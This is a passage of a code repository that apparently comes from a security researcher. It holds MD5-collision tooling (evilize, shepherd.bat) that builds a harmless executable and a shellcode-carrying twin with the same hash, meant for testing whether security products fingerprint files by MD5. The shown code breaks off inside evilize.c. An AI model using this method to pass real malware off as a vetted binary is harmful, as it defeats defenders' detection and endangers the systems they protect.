[
  {
    "path": ".gitignore",
    "content": "# Generated shellcode\nsheep/sc.h\n\n# Compiled Object files\n*.slo\n*.lo\n*.o\n*.obj\n\n# Precompiled Headers\n*.gch\n*.pch\n\n# Compiled Dynamic libraries\n*.so\n*.dylib\n*.dll\n\n# Fortran module files\n*.mod\n\n# Compiled Static libraries\n*.lai\n*.la\n*.a\n*.lib\n\n# Executables\n*.exe\n*.out\n*.app\n## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n\n# User-specific files\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\nbuild/\nbld/\n[Bb]in/\n[Oo]bj/\n\n# Visual Studo 2015 cache/options directory\n.vs/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUNIT\n*.VisualState.xml\nTestResult.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# DNX\nproject.lock.json\nartifacts/\n\n*_i.c\n*_p.c\n*_i.h\n*.ilk\n*.meta\n*.obj\n*.pch\n*.pdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opensdf\n*.sdf\n*.cachefile\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# JustCode is a .NET coding addin-in\n.JustCode\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# TODO: Comment the next line if you want to checkin your web deploy settings \n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# NuGet Packages\n*.nupkg\n# The packages folder can be ignored because of Package Restore\n**/packages/*\n# except build/, which is used as an MSBuild target.\n!**/packages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/packages/repositories.config\n\n# Windows Azure Build Output\ncsx/\n*.build.csdef\n\n# Windows Store app package directory\nAppPackages/\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!*.[Cc]ache/\n\n# Others\nClientBin/\n[Ss]tyle[Cc]op.*\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.pfx\n*.publishsettings\nnode_modules/\nbower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\n\n# SQL Server files\n*.mdf\n*.ldf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n"
  },
  {
    "path": ".gitmodules",
    "content": ""
  },
  {
    "path": "README.md",
    "content": "Wolves Among the Sheep\n======================\n\nSome security tools still stick to MD5 when identifying malware samples years after practical collisions were shown against the algorithm. This can be [exploited](http://blog.silentsignal.eu/2015/06/10/poisonous-md5-wolves-among-the-sheep/) by first showing these tools a harmless sample (Sheep) and then a malicious one (Wolf) that have the same MD5 hash. Please use this code to test if the security products in your reach use MD5 internally to fingerprint binaries and share your results by issuing a pull request updating the contents of `results/`!\n\nWorks-on-a-different-machine-than-mine version, feedback is welcome!\n\nDependencies\n------------\n\n* 32-bit Windows (virtual) machine (64-bit breaks stuff)\n* Visual Studio 2012 to compile the projects (Express will do)\n* [Fastcoll](https://www.win.tue.nl/hashclash/) for collisions\n* Optional: Cygwin+MinGW to compile Evilize\n\nUsage\n-----\n\nExtract Fastcoll to the `fastcoll` directory. Name the executable `fastcoll.exe`\n\nUse `shepherd.bat` to generate `wolf.exe` and `sheep.exe` (in the VS Development Command Prompt):\n\n```\n> shepherd.bat YOURPASSWORD your_shellcode.raw\n```\n\nAfter this step you should have your two colliding binaries (`sheep.exe` and `wolf.exe` in the `evilize` directory).\n\nFor more information see the [tutorial of Peter Selinger](http://www.mathstat.dal.ca/~selinger/md5collision/), older revisions of this document or the source code...\n\nHow does it work?\n-----------------\n\n* `shepherd.bat` executes `shepherd.exe` with the user supplied command line arguments\n    * `shepher.exe` generates a header file (`sc.h`) that contains the encrypted shellcode, the password and the CRC of the plain shellcode\n* `shepherd.bat` executes the build process of `sheep.exe`\n    * `sheep.exe` is built with `sc.h`included by Visual Studio\n* `shepherd.bat` executes `evilize.exe`\n    * `evilize.exe` calculates a special IV for the chunk of `sheep.exe` right before the block where the collision will happen\n    * `evilize.exe` executes `fastcoll.exe` with the IV as a parameter\n         * `fastcoll.exe` generates two 128 byte colliding blocks: `a` and `b`\n    * `evilize.exe` replaces the original string buffers of `sheep.exe` so that they contain combinations `a` and `b`\n    * The resulting files (`evilize/wolf.exe` and `evilize/sheep.exe` ) have the same MD5 hashes but behave differently. The real code to be executed only appears in the memory of `evilize/wolf.exe`.\n\nTesting Methodology\n-------------------\n\nTo test the security products in your reach you should generate two pairs of samples (SHEEP1-WOLF1 and SHEEP2-WOLF2), preferably with the same payload. Since samples (or their fingerprints) are usually uploaded to central repositories (or \"the cloud\") precompiled samples are not included to avoid conflicts between independent testers.\n\nAfter the samples are ready follow the methodology shown on the diagram below:\n\n![Testing Methodology](testing_methodology.png \"Testing Methodology\")\n\n(\\*) If the product is not able to detect the first malicious sample, there are more serious problems to worry about than crypto-fu. In fact, the simple cryptography included in the provided boilerplate code poses as a hard challenge for various products... Try to use more obvious samples!\n\n(\\*\\*) The product most probably uses some trivial method to detect the boilerplate insted of the actual payload. You can try to introduce simple changes to the code like removing debug strings. \n\nPlease don't forget to share your positive results by issuing a pull request to the [RESULTS.md](https://github.com/silentsignal/sheep-wolf/blob/master/results/RESULTS.md) file!\n\nReferences\n----------\n\n* [Poisonous MD5 - Wolves Among the Sheep](http://blog.silentsignal.eu/2015/06/10/poisonous-md5-wolves-among-the-sheep/)\n* [Peter Selinger: MD5 Collision Demo](http://www.mathstat.dal.ca/~selinger/md5collision/)\n* [How to make two binaries with same MD5](http://natmchugh.blogspot.co.uk/2015/05/how-to-make-two-binaries-with-same-md5.html)\n* [Stop using MD5 now!](http://jumpespjump.blogspot.hu/2014/03/stop-using-md-5-now.html)\n\nLICENSE\n-------\n\nLicenced under GNU/GPL if not otherwise stated.\n\n"
  },
  {
    "path": "evilize/AUTHORS",
    "content": "Known contributors are listed here, in alphabetical order by their\nabbreviations (which are used in Changelog).\n\n PS1 Peter Selinger <selinger at users.sourceforge.net> (author)\n VPB1 Balint Varga-Perke <vpbalint at silentsignal.hu> (contributor)\n"
  },
  {
    "path": "evilize/COPYING",
    "content": "\t\t    GNU GENERAL PUBLIC LICENSE\n\t\t       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.\n     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n\t\t\t    Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Library General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\f\n\t\t    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\f\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\f\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\f\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n\t\t\t    NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n\t\t     END OF TERMS AND CONDITIONS\n\f\n\t    How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year  name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  <signature of Ty Coon>, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Library General\nPublic License instead of this License.\n"
  },
  {
    "path": "evilize/ChangeLog",
    "content": "ChangeLog\n\nv0.2p 2015/06/06\n    (2015/06/06) VPB1 - Stripped down version to demonstate MD5 Poisoning\n\nv0.2 2011/10/11\n\t(2011/10/11) PS1 - fixed compiler over-optimization bug (\"no crib\n\tfound\"). Reported by Borja Burgos.\n\nv0.1 2006/02/18\n\tInitial public release\n\n"
  },
  {
    "path": "evilize/MBSD-LICENSE",
    "content": "Modified BSD License\n\nCopyright (C) 2005 Patrick Stach <pstach@stachliu.com>\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are\nmet:\n\n1. Redistributions of source code must retain the above copyright\n   notice, this list of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright\n   notice, this list of conditions and the following disclaimer in the\n   documentation and/or other materials provided with the distribution.\n3. The name of the author may not be used to endorse or promote\n   products derived from this software without specific prior written\n   permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\nIMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,\nINDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\nHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\nSTRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\nIN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n"
  },
  {
    "path": "evilize/Makefile",
    "content": "# Copyright (C) 2006 Peter Selinger. This file is distributed under\n# the terms of the GNU General Public License. See the file COPYING\n# for details.\n\nCC=i686-pc-mingw32-gcc\nCFLAGS=-O3 -Wall -DSTDC_HEADERS -g -DMD5COLL_VERSION=\\\"${MD5COLL_VERSION}\\\" -DVERSION=\\\"${VERSION}\\\"\n\nPACKAGE=evilize\nVERSION=0.2p\nMD5COLL_VERSION=0.1s\n\nTOOLS=evilize md5coll \n\n\ntools: ${TOOLS}\nexamples: ${EXAMPLES}\n\nevilize: evilize.o md5.o md5coll_lib.o\nmd5coll: md5coll.o md5coll_lib.o\n\n# ----------------------------------------------------------------------\n# Distribution\n\nDISTFILES=evilize.c md5coll.c md5coll_lib.c md5coll_lib.h crib.h md5.h\t\\\n md5.c Makefile COPYING MBSD-LICENSE README ChangeLog AUTHORS\n\ndist: ${DISTFILES}\n\trm -rf ${PACKAGE}-${VERSION}\n\tmkdir ${PACKAGE}-${VERSION}\n\tcp ${DISTFILES} ${PACKAGE}-${VERSION}\n\ttar zcf ${PACKAGE}-${VERSION}.tar.gz ${PACKAGE}-${VERSION}\n\n#----------------------------------------------------------------------\nclean:\n\trm -f *.o\n\ncleanall: clean\n\trm -f ${TOOLS}\n\n#----------------------------------------------------------------------\n# The following dependencies were generated with\n# makedepend -DHAVE_CONFIG_H -I.. -f- -Y *.c\n\n# DO NOT DELETE\n\nevilize.o: md5.h md5coll_lib.h crib.h\nmd5.o: md5.h\nmd5coll.o: md5coll_lib.h\nmd5coll_lib.o: md5coll_lib.h\n"
  },
  {
    "path": "evilize/README",
    "content": "Evilize: create pairs of executable files with the same MD5 hash\n----------------------------------------------------------------\n\nCopyright (C) 2006 Peter Selinger. This file is distributed under\nthe terms of the GNU General Public License. See the file COPYING\nfor details.\n\nQuick Instructions. \n-------------------\n\nNote for Windows users: the below instructions are for Unix/Linux. On\nWindows, you may have to append \".exe\" to the names of executable\nfiles. Also, to use \"make\", you must have the GNU tools installed and\nworking.\n\n1. Unpack the archive and build the library and tools:\n\n    tar zxf evilize-0.1.tar.gz\n    cd evilize-0.1\n    make\n\n   This creates the programs \"evilize\", \"md5coll\", and the object file\n   \"goodevil.o\".\n\n2. Create a C program with multiple behaviors. Instead of the usual\n   top-level function main(), write two separate top-level functions\n   main_good() and main_evil(). See the file hello-erase.c for a\n   simple example.  \n\n3. Compile your program and link against goodevil.o. For example:\n\n    gcc hello-erase.c goodevil.o -o hello-erase\n\n4. Run the following command to create an initialization vector:\n\n    ./evilize hello-erase -i\n\n5. Create an MD5 collision by running the following command (but\n   replace the vector on the command line with the one you found in\n   step 4):\n\n    ./md5coll 0x23d3e487 0x3e3ea619 0xc7bdd6fa 0x2d0271e7 > init.txt\n\n   Note: this step can take several hours.\n\n6. Create a pair of good and evil programs by running:\n\n    ./evilize hello-erase -c init.txt -g good -e evil\n\n   Here \"good\" and \"evil\" are the names of the two programs generated,\n   and \"hello-erase\" is the name of the program you created in step\n   3. \n\n   NOTE: steps 4-6 can also be done in a single step, as follows:\n\n    ./evilize hello-erase -g good -e evil\n\n   However, I prefer to do the steps separately, since step 5 takes so\n   long.\n\n7. Check the MD5 checksums of the files \"good\" and \"evil\"; they should\n   be the same.\n\n8. Run the programs \"good\" and \"evil\" - they should exhibit the two\n   different behaviors that you programmed in step 2.\n\nHow does it work?\n-----------------\n\nFor an explanation, see http://www.mathstat.dal.ca/~selinger/md5collision/\n\nCredits. \n--------\n\nThe md5coll tool was written by Patrick Stach <pstach@stachliu.com>,\nbased on a paper by Xiaoyun Wang et al. The version distributed with\nthis file was modified by Peter Selinger. It is distributed under a\nModified BSD License, see MBSD-LICENSE for details.\n\nThe evilize tool was written by Peter Selinger, and uses third-party\ncode by Patrick Stach and others. It is distributed under the GNU\nGeneral Public License, see the file COPYING for details.\n"
  },
  {
    "path": "evilize/crib.h",
    "content": "/* Copyright (C) 2006 Peter Selinger. This file is distributed under\n   the terms of the GNU General Public License. See the file COPYING\n   for details. */\n\n/* This byte sequence is used as a placeholder in the compiled\n   program. Any sufficiently random 191-character string will do */\n\n#define CRIB \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" \\\n\t\t\t \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" \\\n\t\t\t \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" \\\n\t\t\t \n"
  },
  {
    "path": "evilize/evilize.c",
    "content": "/* Copyright (C) 2006 Peter Selinger. This file is distributed under\n   the terms of the GNU General Public License. See the file COPYING\n   for details. */\n\n/* evilize.c: a program to create pairs of files with identical MD5\n   hash, from a template. The template must contain two copies of a\n   \"crib\" string defined in crib.h. The crib strings will be replaced,\n   in two different ways, to create a \"good\" and an \"evil\" version of\n   the file. In the \"good\" version, the two crib strings are replaced\n   by the same data, in the \"evil\" version, they are replaced by\n   different data. This is done in such a way that the \"good\" and\n   \"evil\" files have the same MD5 hash. */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <getopt.h>\n#include <errno.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <time.h>\n#include <byteswap.h>\n\n#include \"md5.h\"\n#include \"md5coll_lib.h\"\n#include \"crib.h\"\n\n#define NAME \"evilize\"\n\nstatic char *crib = CRIB;\n\n#define LBUFSIZE 1024\n#define FASTCOLL_CMD \"..\\\\\\\\fastcoll\\\\\\\\fastcoll.exe -i %08x%08x%08x%08x -o a b\"\n\nint find_crib(FILE *fin){\n  char buf[64];\n  char last_buf[64];\n  int r;\n  int i;\n  \n  while (1) {\n    r = fread(buf, 1, 64, fin);\n    if (r < 64) {\n      return 1;\n    }\n    for (i=0; i<64; i+=8) {\n      if (memcmp(buf+i, crib, 64-i) == 0) {\n\t\treturn ftell(fin)-64+i;\n      }\n    }\n\tmemcpy(last_buf,buf,64);\n  }\n\t  \n}\n\n/* find the initial vector required to evilize FILE, return it in\n   IV. Returns 1 if crib was not found. */\nstatic int find_iv(FILE *fin, unsigned int IV[4]) {\n  struct md5_ctx ctx;\n  char buf[64];\n  int r;\n  int i;\n\n  md5_init_ctx(&ctx);\n\n  while (1) {\n    r = fread(buf, 1, 64, fin);\n    if (r < 64) {\n      return 1;\n    }\n    for (i=0; i<64; i++) {\n      if (memcmp(buf, crib+i, 64) == 0) {\n\t\tgoto crib_found;\n      }\n    }\n    md5_process_block(buf, 64, &ctx);\n  }\n crib_found:\n  /* find md5 collision for the given ctx initial value */\n\n  IV[0] = ctx.A;\n  IV[1] = ctx.B;\n  IV[2] = ctx.C;\n  IV[3] = ctx.D;\n  \n  return ftell(fin);\n}\n\n/* print usage information */\n\nstatic void usage(FILE *fout) {\n  fprintf(fout, \"%s %s. Create a pair of files with the same MD5 hash, from a template.\\n\", NAME, VERSION);\n  fprintf(fout, \"Templates are generated by linking against goodevil.o.\\n\");\n  fprintf(fout, 